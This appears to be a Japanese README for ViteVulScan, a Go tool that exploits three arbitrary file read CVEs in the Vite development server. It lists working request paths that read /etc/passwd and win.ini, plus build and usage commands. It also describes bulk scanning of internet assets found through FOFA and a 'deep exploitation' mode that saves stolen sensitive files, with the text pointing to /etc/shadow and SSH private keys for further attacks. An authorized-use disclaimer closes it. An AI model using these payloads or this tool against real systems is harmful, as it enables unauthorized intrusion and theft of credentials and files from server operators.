
このプロジェクトは3つの脆弱性に関連しています:CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486。これらはすべてVite開発サーバーの任意ファイル読み取り脆弱性であり、カバレッジが広く、利用が簡単で制限がありません。
CVE-2025-30208:
Windows: /@fs/C://Windows/win.ini?import&raw??
Linux: /@fs/etc/passwd?import&raw??
CVE-2025-31125
Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/etc/passwd?import&?inline=1.wasm?init
CVE-2025-31486
Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init
パス中の /@fs は省略可能です。
body="/@vite/client"
go バージョン:go 1.20以上
プロジェクトルートディレクトリに移動
まず依存関係を同期します
go mod tidy
次にプロジェクトをビルドします
go build -o ViteVulScan -ldflags="-s -w" -trimpath .
./ViteVulScan でスクリプトを実行できます。
もちろん、プロジェクトルートディレクトリで直接実行することもできます:
go run .
スクリプトは fofa と連携してアセットを検索し、バッチ検出を行うことができます。
fofa を使用するには、app.ini ファイルとコンパイルされたバイナリファイルが同じディレクトリにあることを確認し、config ディレクトリ内の app.ini ファイルを修正してください。fofakey フィールドに自分の fofakey を入力し、num は検出するおおよそのアセット数です。
この脆弱性に対してより良い fofa 検索構文がある場合は、fofaQuery フィールドを自分で変更できます。
Usage of ./ViteVulScan:
| 引数 | 説明 |
|---|
http://example1.com
example2.com
127.0.0.1
-fofa または -f 引数を指定して検出した場合、脆弱性が存在するアセットは自動的に「タイムスタンプ.csv」というファイル名で現在のディレクトリに保存されます。__例 1:__fofa と連携してバッチ検出:
./ViteVulScan -fofa

スキャン終了後、result ディレクトリにタイムスタンプ名の CSV ファイルが保存されます(成功した URL):

__例 2:__脆弱性が存在する URL に対する深い利用:
./ViteVulScan -u example.com -e

「利用成功」と表示された場合、result ディレクトリを確認すると、スキャンした URL 名のディレクトリが作成され、スキャンされた機密ファイルの内容が元のファイル形式で解析され、対応するパスに保存されます。効果は次のとおりです:

保存された result/localhost:5173/etc/passwd の内容を例にとると、機密情報の完全な内容が保存されており、その後の利用に役立ちます(/etc/shadow やサーバーの SSH 秘密鍵が読み取れれば、さらに利用可能です)。

このツールはセキュリティ研究および許可されたテストの目的のみで使用してください。不正使用は禁止されています。このツールを使用して許可なくテストを行った結果生じた責任は、使用者自身が負うものとします。
| -cve | 使用するCVE脆弱性を指定。CVE_2025_30208 / CVE_2025_31125 / CVE_2025_31486 をサポート。デフォルトは CVE_2025_30208。 |
| -fofa | この引数を指定すると、fofa でアセットを検索し、取得した対象をバッチ検出 |
| -u | -url | 単一のURLターゲットを指定して検出 |
| -f | -filename | ファイル名を指定し、その中のURLアドレスをバッチ検出 |
| -e | この引数を指定すると、脆弱性が検出されたアセットを深く利用し、存在する可能性のある機密ファイルを読み取り、ローカルに保存します(注意して使用してください。単一ターゲットの検出、つまり -u と一緒に使用するのが最適です) |